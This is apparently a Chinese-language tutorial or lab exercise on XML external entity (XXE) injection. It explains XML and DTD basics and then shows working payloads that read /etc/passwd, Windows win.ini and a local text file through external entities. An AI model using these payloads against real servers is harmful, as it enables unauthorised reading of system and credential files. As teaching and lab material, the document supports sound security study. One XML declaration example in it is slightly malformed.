概述
XXE-xml external entity injection
xml外部实体注入漏洞
XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害
知识点:
- XML声明:
例子:<?xml version="1.0">
XML是区别大小写的。- version 版本
- encoding 字符编码集
- standalone 是否为独立文档
- DTD文档类型定义:Document Type Definition 文档类型定义,即XML的一种约束
- 在XML中加入申明:内部
<!DOCTYPE 根标签名[]>
;外部<!DOCTYPE 文档根节点 SYSTEM "DTD文件名">
- 在XML中加入申明:内部
- 文档元素:
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
外部实体引用Payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
题目:
提交一个正常的xml数据:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY hacker "test">
]><name>&hacker;</name>
Payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]>
<x>&f;</x>
可获取服务器上文件内容:
或者,我自己在桌面上随便新建了一个txt,随便输入内容,然后构造payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///Desktop/1.txt">
]>
<x>&f;</x>
直接回显txt中的内容了。